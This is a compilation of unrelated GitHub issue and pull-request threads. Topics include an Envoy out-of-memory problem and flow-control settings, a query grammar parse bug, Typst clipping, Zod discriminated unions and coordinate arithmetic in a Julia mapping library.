envoy getting killed by cgroup due to outofmemory

Recently we have been observing OOM on envoy and envoy gets restarted.
Envoy version: 1.25.8
This is the configuration being used at envoyLB side:
  - name: testlb
    address:
      socket_address:
        address: 0000:0000:0000:0000:0000:0000:0000:0000
        ipv4_compat: true
        port_value: 8080
        protocol: TCP
    filter_chains:
      transport_socket:
        name: envoy.transport_sockets.tls
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext
          common_tls_context:
            tls_params:
              tls_minimum_protocol_version: "TLSv1_2"
            tls_certificates:
            - certificate_chain:
                filename: "/certs/cert.pem"
              private_key:
                filename: "/certs/key.pem"
              password:
                filename: "/etc/pkencryptkey/password"
            validation_context:
              trusted_ca:
                filename: "/certs/cacert.pem"
            alpn_protocols: h2,http/1.1
          require_client_certificate: true
      filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          codec_type: AUTO
          stat_prefix: testlb
          route_config:
            name: testlb
            virtual_hosts:
            - name: testlb
              domains:
              - "*"
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: testevent
                  timeout:
                    seconds: 1800
                decorator:
                  operation: testlb
              require_tls: NONE
          http_filters:
          - name: envoy.filters.http.router
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
          server_name: envoy-ingress-testlb
          drain_timeout:
            seconds: 1800

  - name: testevent
    type: STRICT_DNS
    connect_timeout:
      seconds: 1800
    lb_policy: ROUND_ROBIN
    circuit_breakers:
      thresholds:
      - priority: DEFAULT
        max_connections: 2600
        max_requests: 2600
      - priority: HIGH
        max_connections: 2600
        max_requests: 2600
    load_assignment:
      cluster_name: eventreciver
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: testevent-headless.admin-ns.svc.cluster.local.
                port_value: 8080
    typed_extension_protocol_options:
      envoy.extensions.upstreams.http.v3.HttpProtocolOptions:
        "@type": type.googleapis.com/envoy.extensions.upstreams.http.v3.HttpProtocolOptions
        explicit_http_config:
          http2_protocol_options: {}
    transport_socket:
      name: envoy.transport_sockets.tls
      typed_config:
        "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext
        common_tls_context:
          tls_params:
            tls_minimum_protocol_version: "TLSv1_2"
          tls_certificates:
          - certificate_chain:
              filename: "/certs/cert.pem"
            private_key:
              filename: "/certs/key.pem"
            password:
              filename: "/etc/pkencryptkey/password"
          validation_context:
            trusted_ca:
              filename: "/certs/cacert.pem"

As seen in the config we have circuitbreaker configured which is being hit consistently. This is the stats:
cluster.eventreciver.upstream_rq_pending_overflow: 21760
cluster.eventreciver.upstream_rq_pending_overflow: 21760
cluster.eventreciver.upstream_rq_pending_overflow: 22681
cluster.eventreciver.upstream_rq_pending_overflow: 23900
cluster.eventreciver.upstream_rq_pending_overflow: 23900
cluster.eventreciver.upstream_rq_pending_overflow: 23968
cluster.eventreciver.upstream_rq_pending_overflow: 23968
cluster.eventreciver.upstream_rq_pending_overflow: 23968
cluster.eventreciver.upstream_rq_pending_overflow: 24202
cluster.eventreciver.upstream_rq_pending_overflow: 24202
cluster.eventreciver.upstream_rq_pending_overflow: 24202
cluster.eventreciver.upstream_rq_pending_overflow: 24317
cluster.eventreciver.upstream_rq_pending_overflow: 24317
cluster.eventreciver.upstream_rq_pending_overflow: 24317
cluster.eventreciver.upstream_rq_pending_overflow: 25299
cluster.eventreciver.upstream_rq_pending_overflow: 26413
cluster.eventreciver.upstream_rq_pending_overflow: 26413
cluster.eventreciver.upstream_rq_pending_overflow: 26413
And, this shows that cgroup killed it 7 timesbecause of OOM:
cat /sys/fs/cgroup/memory/memory.oom_control
oom_kill_disable 0
under_oom 0
oom_kill 7
Can anyone please suggest what is going wrong here. I am verry new to Envoy, but these are my thoughts:
Is it that envoy is buffering the requests which are in overflow and ultimately goes out of memory? And, if that is the case can we have circuit_breaker configured at listeners section too such that buffering does not happen at envoy.
I know currently envoy does not have circuit_breaker  at listeners section, what else shall I look for to fix the issue.

You may also need to configure overload manager: https://www.envoyproxy.io/docs/envoy/latest/configuration/operations/overload_manager/overload_manager.html

ok Thanks! I will try

I tried overload manager results are fine but, if requests are too frequent envoy still goes outofmemory.
However with flowcontrol the results are positive and envoy never goes OOM.
https://www.envoyproxy.io/docs/envoy/latest/faq/configuration/flow_control
Just a little background of my issue:
Recently we migrated from envoyproxy/envoy-alpine:v1.21 to v1.25.8.  And, as we needed a smaller footprint we build the envoy binary from envoy source code on alpine 1.17.
So, please suggest setting buffer limit is it a proper approach? And, as I dont want to break my production more can you please suggest important points that I should follow while setting this limit.
For now I have kept it like this:
per_connection_buffer_limit_bytes: 4096
initial_stream_window_size: 65535

yanavlasov

I tried overload manager results are fine but, if requests are too frequent envoy still goes outofmemory.
However with flowcontrol the results are positive and envoy never goes OOM.
https://www.envoyproxy.io/docs/envoy/latest/faq/configuration/flow_control
Just a little background of my issue:
Recently we migrated from envoyproxy/envoy-alpine:v1.21 to v1.25.8. And, as we needed a smaller footprint we build the envoy binary from envoy source code on alpine 1.17.
So, please suggest setting buffer limit is it a proper approach? And, as I dont want to break my production more can you please suggest important points that I should follow while setting this limit.
For now I have kept it like this:
per_connection_buffer_limit_bytes: 4096
initial_stream_window_size: 65535

Hi @alyssawilk
I saw your post regarding flow control in multiple forums. So, tagging you. Sorry about that.
Need a clarification with flow control.
We are using envoy proxy and we have some upstream which are actually slow, sometimes taking upto 22 seconds:
[2023-10-23T08:37:01.659Z] "POST /test.sl.EventDB.v1.EventDB/Create HTTP/2" 200 - 529 7 4006 4006 "-" "grpc-go/1.56.2" "77cab6b6-0638-430e-b59a-4c3b3029b3b5" "localhost:8887" "<IP_ADDRESS>:8080"
[2023-10-23T08:37:02.273Z] "POST /test.sl.EventDB.v1.EventDB/Create HTTP/2" 200 - 685 7 3392 3392 "-" "grpc-go/1.56.2" "f5042724-1468-41a8-b6d5-75a5af0370b7" "localhost:8887" "<IP_ADDRESS>:8080"
[2023-10-23T08:36:42.770Z] "POST /test.sl.EventDB.v1.EventDB/Create HTTP/2" 200 - 498 7 22895 22895 "-" "grpc-go/1.56.2" "5ae72910-3b33-4957-969d-731710bc3206" "localhost:8887" "<IP_ADDRESS>:8080"
In such a case envoy is buffering, resulting in out of memory.
In order to protect envoy we wanted to bring in flow control. The doubt is if we configure initial_stream_window_size and per_connection_buffer_limit_bytes to be less than the size of request, will envoy reject such requests?
For example: if I configure initial_stream_window_size  as 1 MB and my request is 2 MB will envoy reject such requests?
Basically I dont want envoy to buffer, it should just forward the request to upstream without rejecting requests. Please give your valuable suggestions

Sorry for the delay on this - was out at EnvoyCon/KubeCon
if all your filters are streaming filters, your data should pass through no problem.  if you have hard-coded buffer limits and you have buffering filters (like the buffer filter), then Envoy will reject requests / error on responses which go over the limits


Issue with Expression parsing

Hi guys,
I am using the metadata-fetch task from HeroicShell.  I ran into some inconsistencies in how the filters are parsed that I believe are caused by how the HeroicQuery grammar is defined.
As an example, supposed these two keys exist: 4cf41d4b-a5d2-420e-b008-644f0b3d7832 and c89bf1ee-32ad-44c9-9641-5ee7fe3cac17. If I run this command I can successfully get the series related to key c89bf1ee-32ad-44c9-9641-5ee7fe3cac17:
metadata-fetch $key = c89bf1ee-32ad-44c9-9641-5ee7fe3cac17
However, if I run the same for the other key, I get a com.spotify.heroic.grammar.ParseException:
metadata-fetch $key = 4cf41d4b-a5d2-420e-b008-644f0b3d7832
I found that you have to escape the whole expression to be able to make it work:
metadata-fetch '$key = "4cf41d4b-a5d2-420e-b008-644f0b3d7832"'
This problem only happens with expressions that begin with a numeric.  I believe the problem is caused  when this Rule is applied, expr is matched first for an ExpressionInteger and then instead of finding EOF if finds the rest of the string.  When quotes are applied it correctly matches QuotedString.  I know this can be worked around, but probably having consistency in the syntax would be good.
Regards,
Jorge

This issue happens because SimpleString requires a non-digit as the first character. For 4cf41d4b-a5d2-420e-b008-644f0b3d7832 lexer will output `Integer { "4" } SimpleString { "cf41d4b-a5d2-420e-b008-644f0b3d7832" }' which matches none of the parser rules.
I've marked this as an enhancement since it was intentional. I've addressed this in a soon to come pull request.

Thanks!!


test(bfdr): add getter and setter unit tests to BirthRecord_Should

Errors are marked in BirthRecord_Should with "TODO testing" as a comment
Quite a few NullReferenceException errors occurring when trying to set after a parse. In some cases (like the EditFlags test), I think it may have something to do with Mother.Id being called

These tests caught quite a few things. Here are the fixes I added:
The profile urls in our test files for Mother, Child, and Father were incorrect so they were not getting parsed correctly. Updated the profiles to fix many of the null reference issues. There was also an issue with how the FHIRPath was finding the fields like congenital anomalies that use the category to identify the procedure in the bundle since there could be multiple categories. Some of the test files were missing the category field required for parsing so those were added in. There was also an error in MotherHeightEdit field, the extension was getting added to the observation when it needed to be added to the observation.Value


Updated Media Presets page

Removed old blog post and updated text.

#sign-off

Microsoft authors of articles need to make updates through the private repository so the updates can be staged and validated by the current validation rules. After you review staging and fix all validation issues, you can add the sign-off comment to let the PR reviewers know the updates are ready to be merged.
It's easy to access the private repo version of your articles in GitHub. Just add -pr to the URL, as follows:
Public repo URL: https://github.com/Microsoft/azure-docs/blob/master/articles/azure-portal-overview.md
Private repo URL: https://github.com/Microsoft/azure-docs-pr/blob/master/articles/azure-portal-overview.md
We've closed this pull request. Please resubmit the updates through the private repo. If you need perms to the private repo, see the contributor guide instructions

Cool thanks, it was a mistake to push to this public repo. Julia has it handled.


Clipping with a radius doesn't work on elements without a border-stroke

Description
As of Typst 0.9.0 setting clip: true on a box or block should take into account the corner radius of the box or block instead of just clipping to a rectangle. See #2338.
This however doesn't work if the box or block doesn't have stroke set or has stroke set to `none.
This works:
#block(
  stroke: black,
  radius: 5pt,
  width: 20pt,
  height: 20pt,
  clip: true,
  rect(fill: green, width: 100%, height: 100%)
)

This doesn't:
#block(
  radius: 5pt,
  width: 20pt,
  height: 20pt,
  clip: true,
  rect(fill: green, width: 100%, height: 100%)
)

Reproduction URL
https://typst.app/project/rwRXVc5tF0Q6QtGL86LE-3
Operating system
Web app
Typst version

[X] I am using the latest version of Typst

I only searched for duplicate issues before posting this one, but just noticed there is already a PR fixing this one: https://github.com/typst/typst/pull/2526
I'll still leave this issue open until that PR is merged.


JBEHAVE-1310 Report before and after execution of before/after story steps

The changes have been added to master branch: d0135a8c366a484130c347d69c9b69581e207e2c


[GOBBLIN-1779] Ability to filter datasets that contain non optional unions

Dear Gobblin maintainers,
Please accept this PR. I understand that it will not be reviewed until I have checked off all the steps below!
JIRA

[X] My PR addresses the following Gobblin JIRA issues and references them in the PR title. For example, "[GOBBLIN-1779] My Gobblin PR"

https://issues.apache.org/jira/browse/GOBBLIN-1779

Description

[X] Here are some details about my PR, including screenshots (if applicable):
Problem Statement:
Goal is to make it easy for users to filter out datasets with non optional unions. Avro and ORC flexible schema supports non optional unions. But Iceberg does not support these schemas. This can cause mismatched schemas when writing with different writers. e.g. writing with iceberg will write a struct but writing native orc writer will write as a uniontype
https://github.com/apache/gobblin/pull/3632

Future users may want to implement similar complex filtering on the results of their dataset finders. And this filtering may be very complex. The goal is to make it easy for users to build their own filtering predicates.
Design:

DatasetsFinderFilteringDecorator.java

Decorator for any DatasetsFinder that accepts denylist and allowlist filters. In this case, we can specify that all tables with non optional unions are excluded or should be included

DatasetHiveSchemaContainsNonOptionalUnion.java

Predicate that fetches table from hive and performs check on if the schema contains a non optional union

CheckedExceptionPredicate.java

Util functional interface for providing proper IO exceptions with these predicates (since often these predicates will be making IO calls that can fail)
https://github.com/apache/gobblin/blob/585298fb5ebc074f69c1b9db87de6186c4855b26/gobblin-utility/src/main/java/org/apache/gobblin/util/function/CheckedExceptionFunction.java
See the above for the equivalent implementation for Function

Alternative designs:

Alternatively, I could have directly modified any relevant sources or dataset finders to do the filtering there. The problem with that approach is that then we end up class specific configs that are niche and not generalizable.
There is also lots of business logic involved with complex filtering. Adding this business logic into a specific dataset finder would create spaghetti  super classes.
Gobblin is OSS and there are many implementations of dataset finders that are internal, which would require extra dev effort to implement filtering.

Tests

[X] My PR adds the following unit tests OR does not need testing for this extremely good reason:
Hive metastore tests

Dataset finder tests

Commits

[ ] My commits all reference JIRA issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Codecov Report

Merging #3648 (f260386) into master (26d6ed3) will decrease coverage by 2.12%.
The diff coverage is 43.58%.

@@             Coverage Diff              @@
##             master    #3648      +/-   ##
============================================
- Coverage     46.91%   44.79%   -2.12%
+ Complexity    10756     2091    -8665
============================================
  Files          2135      411    -1724
  Lines         83834    17686   -66148
  Branches       9320     2155    -7165
============================================
- Hits          39332     7923   -31409
+ Misses        40933     8907   -32026
+ Partials       3569      856    -2713

Impacted Files
Coverage Δ

...bblin/util/function/CheckedExceptionPredicate.java
0.00% <0.00%> (ø)

...tes/DatasetHiveSchemaContainsNonOptionalUnion.java
70.83% <70.83%> (ø)

.../gobblin/data/management/dataset/DatasetUtils.java

...nditions/RecompactionConditionBasedOnDuration.java

...onversion/hive/extractor/HiveConvertExtractor.java

...blin/converter/filter/AvroProjectionConverter.java

...a/org/apache/gobblin/writer/DataWriterBuilder.java

...in/java/org/apache/gobblin/metrics/InnerGauge.java

...in/source/extractor/exception/SchemaException.java

...a/org/apache/gobblin/source/jdbc/JdbcProvider.java

... and 1719 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

+1 LGTM


FAQ: "No GUI for Linux" is outdated

The MediaInfo FAQ page seems to be outdated, regarding that there is no GUI for Linux:

Why isn't there a GUI version of MediaInfo for Linux?
VCL (the graphical library of Borland) is not portable (this is the only one), so I can't adapt the GUI for Linux.
If you know how to program with wxWidgets (a standard graphical library), and are interested in adapting MediaInfo to wxWidgets, then I am interested. Please contact me!

Thanks, it have been fix : https://github.com/MediaArea/MediaArea-Website/pull/34


Pressing ESC after setting the mode to TB_MOUSE_INPUT triggers assertion error

It triggers this assertion.
The program is:
#include "termbox.h"

int main(int argc, char **argv) {
    tb_init();
    tb_select_input_mode(TB_INPUT_MOUSE);

    struct tb_event ev;
    tb_poll_event(&ev);

    tb_shutdown();
    return 0;
}

See also: gchp/rustbox#32

That's true. Because TB_INPUT_MOUSE is invalid input mode. It's a bit flag that should only be used in conjuction with TB_INPUT_ESC or TB_INPUT_ALT. I should enforce that I guess.

Would it increase complexity to just add TB_INPUT_MOUSE mode if it's the only mode passed?

But what would it mean? No keyboard input? :) Initially there were two modes: ESC and ALT. And MOUSE is an additional mode which works with either of those.

Hmm... I see. It was just a passing thought. Then does it make sense to lump MOUSE mode with the two keyboard modes (ESC and ALT)?
On the other thought, how are you going to enforce it?

I can make one of the modes a default one. Perhaps the one which is enabled by default. That is ESC mode. :)

+1. You might want to make sure that if mouse mode is passed alone, the keyboard mode changes to ESC mode.

What's the point of TB_INPUT_CURRENT then if you have to pass TB_INPUT_ESC or TB_INPUT_ALT anyway?

https://github.com/nsf/termbox/blob/master/src/termbox.h#L237
It returns the current input mode.

@nsf Can you think of any reason why I'm not getting the assertion using this C snippet (but i do get the assertion when using the Rust wrapper :frowning:)?


Error with context differences state(Very Need a help)

Error : When you open overlay_windown and terminal the app , and open again (the overlay still run in background but i can not cancel Timer ().
.

Steps to Reproduce :
Download  example in Git and add Timer in initState like code below

in Home Page

Run the app , and open overlay windown . => terminate app (kill the app by swipe)
=>Open app and Click Close Timer .
Thanks you .

https://github.com/X-SLAYER/flutter_overlay_window/issues/46#issuecomment-1474805153


    Reason:                TFJobCreated
    Status:                True
    Type:                  Created
    Last Transition Time:  2021-09-29T19:25:26Z
    Last Update Time:      2021-09-29T19:25:26Z
    Message:               TFJob xdl-system/v1-tensorflow-0930032344277 successfully completed.
    Reason:                TFJobSucceeded
    Status:                True
    Type:                  Succeeded
  Replica Statuses:
    Worker:
      Succeeded:  1
  Start Time:     2021-09-29T19:24:40Z
Events:
  Type    Reason                    Age                  From         Message
  ----    ------                    ----                 ----         -------
  Normal  JobTerminated             18m (x759 over 12h)  tf-operator  Job has been terminated. Deleting PodGroup
  Normal  JobTerminated             16m                  tf-operator  Job has been terminated. Deleting PodGroup
  Normal  SuccessfulDeletePodGroup  11m (x2 over 16m)    tf-operator  Deleted PodGroup: v1-tensorflow-0930032344277
  Normal  JobTerminated             66s (x7 over 6m33s)  tf-operator  Job has been terminated. Deleting PodGroup
  Normal  SuccessfulDeletePodGroup  66s (x7 over 6m33s)  tf-operator  Deleted PodGroup: v1-tensorflow-0930032344277

tjob is successfully sucess in 2021/09/29, but  constantly created and delete podgroup on 2021/09/30
speciallly we set   ttlSecondsAfterFinished=3day

The PodGroup is created and deleted many times. It is weird.
/cc @kubeflow/wg-training-leads

Maybe it is related to Expectations.

If the job status is success or failure, we should skip reconciling actually..


sso registration with gui

Describe your changes
Provide Issue ticket number if applicable/not in title
Provide link to Netmaker PR if required
Provide testing steps
Checklist before requesting a review

[ ] My changes affect only 10 files or less.
[ ] I have performed a self-review of my code and tested it.
[ ] If it is a new feature, I have added thorough tests, my code is <= 1450 lines.
[ ] If it is a bugfix, my code is <= 200 lines.
[ ] My functions are <= 80 lines.
[ ] I have had my code reviewed by a peer.
[ ] My unit tests pass locally.
[ ] Netclient & Netmaker are awesome.

Is this supposed to be in draft still?

Is this supposed to be in draft still?

yes. it will be resolved next week


Can you add a "let it live"?

I'm constantly using this image, but wanted to keep the container alive. For whenever you need to enter the container and use the curl, anytime.
Today I can only send a command, but if you mount the container without command it dies at the same instant.
A flag like:
docker run --rm appropriate/curl --debug
or
docker run --rm appropriate/curl --stay
Cheers.

@MichelDiz You could do a docker run --rm appropriate/curl mycurlycurlthings; sleep infinity


Fix missing array code convention at Test files

Bug/issue #, if applicable: N/A
Summary
Fix missing array code convention at Test files
Dependencies
N/A
Testing
No functional changes.
Checklist

[x] Added tests
[x] Ran the ./bin/test script and it succeeded
[x] ~Updated documentation if necessary~ N/A

@franklinsch I'm sorry I couldn't look at all the files with interest.
Among the files I changed, I checked and corrected the incorrect part of space indent convention.
If there's anything I missed,
Please let me know. I'll revise it.
Thank you for your kind confirmation.

@franklinsch Please check..!😓

Hi @Monsteel! This looks good-to-go from my perspective. Thank you for your work here!
If you could resolve the remaining conflicts, I'll re-run CI and merge.

Hello @ethan-kusters ! Thank you so much. 🤗
I solved the remaining conflicts.🙋🏻♂ Please check. 🙏

@swift-ci please test

@swift-ci please test

@ethan-kusters Thanks, But I don't understand swiftTest result. please tell me about test result ?😓

@Monsteel could you manually rebase on main and force-push your changes? It looks like just merging main in the GitHub UI is not picking up the latest changes.

@ethan-kusters I did manually rebase on main and force-push my changes🙋🏻♂ Thanks for your hard work! 🙇🏻♂

@swift-ci please test

Thank you, @ethan-kusters, @franklinsch !
Through this opportunity, I felt the kindness of Apple developer,  I experienced small collaboration. so I'm happy.🤩
I hope you have a happy coding. 🙏
Thanks!


132/rl control node

Add nodes to be able to import gymchrono models.

This is fat. probably don't want to merge directly, should probably do one node at a time

[ ] Need to add python dependencies (SB3)
[ ] Need to add gymchrono submodule


Subtraction of LatLon

Currently, if I subtract two LatLon coordinates, I get a LatLon with the differences:
julia> LatLon(1.214914, 103.851194) - LatLon(1.214986, 103.851527)
LatLon{Float64}(-7.199999999984996e-5, -0.00033299999999769625)

While this may seem reasonable, it is incorrect. The differences between latitudes is not a latitude, and the differences between longitude is not a longitude. This becomes important when the latitude-longitude differences later need to be converted to east-north distances:
julia> en = EastNorth(LatLon(1.214914, 103.851194) - LatLon(1.214986, 103.851527))
EastNorth{Float64}(-37.069390433874574, -7.961347859138245)

julia> norm(en)
37.91467745970203

which is quite different from:
julia> norm(ECEF(LatLon(1.214914, 103.851194)) - ECEF(LatLon(1.214986, 103.851527)))
37.90659161709082

The essential problem is that the actual latitude-longitude is lost in taking the difference, and then the east-north conversion wrongly treats the differences as being located at the origin of the latitude-longitude coordinate system.
Perhaps we need a different data type to represent differences in latitude-longitude, rather than returning them as a latitude-longitude pair?

The fundamental problem here is that there isn't just one way to do coordinate arithmetic. For example, I'd argue that the following operation can have two very different results, both of which are perfectly reasonable in their own way.
x = LatLon(0,0) + 2*(LatLon(0,180) - LatLon(0,0))

x = LatLon(0,360): LatLon(0,180) - LatLon(0,0) represents a rotation halfway around the earth, so two halfway-rotations should make a full rotation around the earth.
x = (LatLon(0,180), Alt(1.3e7)): ECEF(LatLon(0,180)) - ECEF(LatLon(0,0)) = ECEF(1.3e7, 0, 0), so continuing in this direction should take us out to space.

Things get even trickier if we take differences at one latitude and then apply them at a different latitude. For example, what should the result of this expression be?
y = LatLon(45,0) + 2*(LatLon(0,180) - LatLon(0,0))

I'd say all of the following are sensible answers:

LatLon(45, 360): We're still doing a full rotation, just at a different latitude.
(LatLon(0 < lat < 45, 180), Alt(>0)): The result if we were doing the arithmetic in ECEF.
LatLon(45, >360): A trip around the earth is shorter at latitude 45 than at latitude 0, so 2*(LatLon(0,180) - LatLon(0,0)) should be more than a full rotation.

Finally, what if even the difference is not taken at a single latitude?
z = LatLon(45,0) + 2*(LatLon(30,180) - LatLon(0,0))

Should LatLon(30,180) - LatLon(0,0) represent "30 degrees north and 180 degrees east"? If so, in what order? (Depending on how exactly you define "going north" and "going east", the two operations may not commute.)  Alternatively, LatLon(30,180) - LatLon(0,0) could represent "go X km in the direction of the great circle which leaves the starting point at heading Y", which once again would give you a different answer...
The rationale behind the current API is that while its results may not always be particularly useful, at least it is very easy to explain what is going on: coordinate arithmetic is always executed elementwise; you as the user are responsible for choosing the coordinates such that elementwise arithmetic does what you want!
We actually have already seen an instance of this: in the current form of MapMaths, we have
julia> LatLon(45,0)[] .+ 2 .* (LatLon(0,180)[] .- LatLon(0,0)[])
(45.0, 360.0)

If instead of the rotation you want cartesian arithmetic, well then convert your arguments to ECEF beforehand:
julia> ECEF(LatLon(45,0))[] .+ 2 .* (ECEF(LatLon(0,180))[] .- ECEF(LatLon(0,0))[])
(-2.0994957121151067e7, 0.0, 4.48734840886592e6)

Finally, if instead of counting rotations you want to count distance, then convert your arguments to EastNorth:
julia> EastNorth(LatLon(45,0))[] .+ 2 .* (EastNorth(LatLon(0,180))[] .- EastNorth(LatLon(0,0))[]) |> EastNorth |> LatLon
LatLon{Float64}(44.999999999999986,<PHONE_NUMBER>930218)

All this is not to say that the current system is perfect. For example, I was quite shocked to see this:
julia> norm(ECEF(LatLon(1.214914, 103.851194)) - ECEF(LatLon(1.214986, 103.851527)))
37.90659161709082

julia> norm(EastNorth(LatLon(1.214914, 103.851194))[] .- EastNorth(LatLon(1.214986, 103.851527))[])
37.607499239327225

Clearly, the difference between tunnel and surface distance cannot be 30cm over a range of 37m, and even more importantly, the surface distance cannot be less than the tunnel distance. What is happening here is that one point is about 8m further north than the other, and since East measures the distance to the prime meridian at the given latitude, this has a significant impact on the East component. This clearly needs to be fixed somehow. Maybe there should be a conversion to East relative to a meridian other than the prime meridian? I'm open to suggestions...
Apart from "hard" / "numeric" bugs like the one described just now, I guess there is also plenty of scope for more syntactic sugar. For example, it might be nice to have a macro
@coordinate(ECEF, x + 2*(y - z))

which expands to
ECEF(x) + 2*(ECEF(y) - ECEF(z)))

Finally, broken / missing methods like https://github.com/subnero1/MapMaths.jl/issues/3 and *(::Number, ::Coordinate) should implemented...

I believe all of these objectives can be achieved without obstructing any other use case by defining coordinate arithmetic as follows.

Coordinates themselves don't allow any arithmetic, i.e. LatLon(1,2) - LatLon(3,4) is a method error.
We add functions cstrip(CoordType, coord) -> SVector and cwrap(CoordType, svec) -> Coord which convert locations to and from SVectors of plain numbers representing the coordinates in the given coordinate system.

The three actions that you mentioned could then be implemented as follows:

measure distances between lat-lon pairs: norm(cstrip(ECEF, x) - cstrip(ECEF, y))
move from a lat-lon by certain distance along a particular bearing and get lat-lon at that location:
LatLon(cwrap(ENU(x), cstrip(ENU(x)) + r * SVector(cos(alpha), sin(alpha), 0))).
convert lat-lon to a locally flat ENU coordinate system in meters, and convert back to lat-lon: cstrip(ENU(x), y), cwrap(ENU(x), d).

I hope I can get CoordRefSystems to adopt these conventions...


Please update to the 8.3 release

Please update to 8.3 release of shield.

'tis Done!
https://github.com/shieldproject/shield-boshrelease/releases/tag/v8.3.0


check_syntax: Method "numofchar" not found

function "numofchar" not recognized (sap original code).

https://help.sap.com/doc/abapdocu_752_index_htm/7.52/en-US/abenlength_functions.htm

try again, 2.38.3

Used 2.38.4
Issue resolved. Thanks again.


Invalid API Key

Anyone still using this and having a problem with the API Key?
When I send a GET request my return is
Status Code: 200
Body: Invalid API key

Nvmd, sorry, I enclosed my typecasting in quotes.


browser-add-file

Example showing broken file add in browser. See https://github.com/ipfs/js-ipfs-api/issues/344#issuecomment-243900156 and https://github.com/ipfs/js-ipfs-api/pull/335 for context.

Tests failing because FileReader is undefined in node environment. Not sure how to fix...

Thanks for posting this @nycoliver

Tests failing because FileReader is undefined in node environment. Not sure how to fix...

That's just a linting error, so really just lint doesn't know about FileReader global since node never runs that example code. You could just instantiate a FileSwarm contract at the scope you need with some like let FileReader
This example should be

@nycoliver please add /* globals FileReader */at the top and squash the commits for the merge :)

@nycoliver looks all good now. Can you coalesce the commits?
git rebase -i HEAD~6
# squash them all
# reword the commit message to `feat(examples): add browser-add example`

First pull request, almost got it...

Here is a good tutorial http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html let me know if you run into trouble, I'm available on IRC as daviddias on the #IPFS channel in freenode

Congrats on your first pull request 🎉🎉🎉🎉👏👏👏👏👏👏👏👏👏


Added: collapsing of graph nodes into single nodes

[x] joeferner
[x] diegogrz
[x] mwizeman sfeng88
[ ] joeybrk372 rygim jharwig EvanOxfeld

This commit only effects the current work product. It collapses multiple
nodes into a single node keeping the edges.
Video
CHANGELOG
Added: collapsing of graph nodes into single nodes

Conceptually I like this idea -- not only is it a good way to help an investigator make sense of a large graph, but also it potentially could help with large graph performance.
I'd like to try out this feature. I checked out the branch, but I don't see the collapse option. Is there a setting required to enable collapsing entities? Also, what happens if you collapse entities of different concept types?

@EvanOxfeld did you webpack graph and web/war? Did you right click in open space or on an entity (btw, I think this behavior is strange in general. If I have multiple entities selected and I right click an entity I should probably get the multi-select context menu)?
Collapsing different concept types works well, you get different little icons in the collapse bubble.

Thanks, collapsing looks good. ✨  My issue was right clicking on one of the selected entities instead of open space. I believe fixing the multi-select context menu behavior is covered by #2353.
One issue I found was that when adding additional entities to a collapsed node, the histogram doesn't appear to update correctly:

@joeferner Are you still fixing the histogram issue?

@EvanOxfeld Yes, once I find some time to do it


Enumerated discriminator

Is there a way to let me specify a discriminator value from a set of possible values?
For example here I want to have three possible values for the discriminator but I can pass in anything in a z.literal for the discriminator value. I tried to put the discriminator in a base object and parse it as an enum but it looks like it's being overridden completely when I use the and() which prevents me from:

Enumerating and type check that all discriminator values exists(as I've hardcoded it in my code base).
Not having to include "fortress" in the discriminatedUnion, since there's no special about a fortress other than the base structure attributes I want to exclude it from the discriminated union, but then it can't parse fortress.

const structureIds = ["farm", "fortress", "barracks"] as const;

const baseStructureSchema = z.object({
  level: z.number(),
  position: z.number(),
  health: z.number(),
  id: z.enum(structureIds),
});

const structureSchema = baseStructureSchema.and(
  z.discriminatedUnion("id", [ // this overrides id: z.enum(structureIds)
    z.object({ id: z.literal("farm"), peasants: z.number() }),
    z.object({ id: z.literal("barracks"), trainers: z.number() }),
  ])
);

Is this what you are looking for?
import { z } from 'zod'

const baseSchema = z.object( {
    level: z.number(),
    position: z.number(),
    health: z.number(),
} )

const structureIds = [ 'farm', 'fortress', 'barracks' ] as const
const schemaArray = structureIds.map( id => {
    if ( id === 'farm' ) return baseSchema.extend( {
        id: z.literal( 'farm' ),
        peasants: z.number()
    } )

    if ( id === 'barracks' ) return baseSchema.extend( {
        id: z.literal( 'barracks' ),
        trainers: z.number()
    } )

    return baseSchema.extend( { id: z.literal( id ) } )
} )
type SchemaTuple = [ typeof schemaArray[ 0 ], ...typeof schemaArray ]

const structureSchema = z.discriminatedUnion( 'id', schemaArray as SchemaTuple )
type Structure = z.infer<typeof structureSchema>
// type Structure = {
//     level: number
//     position: number
//     health: number
//     id: "farm"
//     peasants: number
// } | {
//     level: number
//     position: number
//     health: number
//     id: "barracks"
//     trainers: number
// } | {
//     level: number
//     position: number
//     health: number
//     id: "fortress"
// }

console.log(
    structureSchema.parse( {
        id: 'farm',
        peasants: 42,
        level: 1,
        position: 1,
        health: 100,
    } )
) // works

console.log(
    structureSchema.parse( {
        id: 'barracks',
        trainers: 42,
        level: 1,
        position: 1,
        health: 100,
    } )
) // works

console.log(
    structureSchema.parse( {
        id: 'fortress',
        level: 1,
        position: 1,
        health: 100,
    } )
) // works


Added Kochi Wordcamp

Details of the conference:

Website:https://2019.kochi.wordcamp.org
Date: 1 DEC
Venue: Seminar complex, CUSAT, Kochi
Description: Primarily a Wordpress Conference, covering everything related to WordPress and include things such as blogging, coding, branding, and security.

https://2019.kochi.wordcamp.org/call-for-speakers/ @nikhita CFP


Update fsutil.md

Precisely, in some cases you don't have to be an admin to use fsutil. Made it sound more related to the actual way how the tool works.

@robinharwood, @Xelu86
Can you review the proposed changes?
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team


Fix crash in - [ARTiledImageView drawRect:], line 128

Version: 2.3.6 (2016.02.12) | net.artsy.artsy
Stacktrace
ARTiledImageView;drawRect:;ARTiledImageView.m;128
ARTiledImageViewWithBreadcrumb;drawRect:;ARZoomView.m;38
Reason
objc_msgSend() selector name: displayTileBorders
Link to HockeyApp

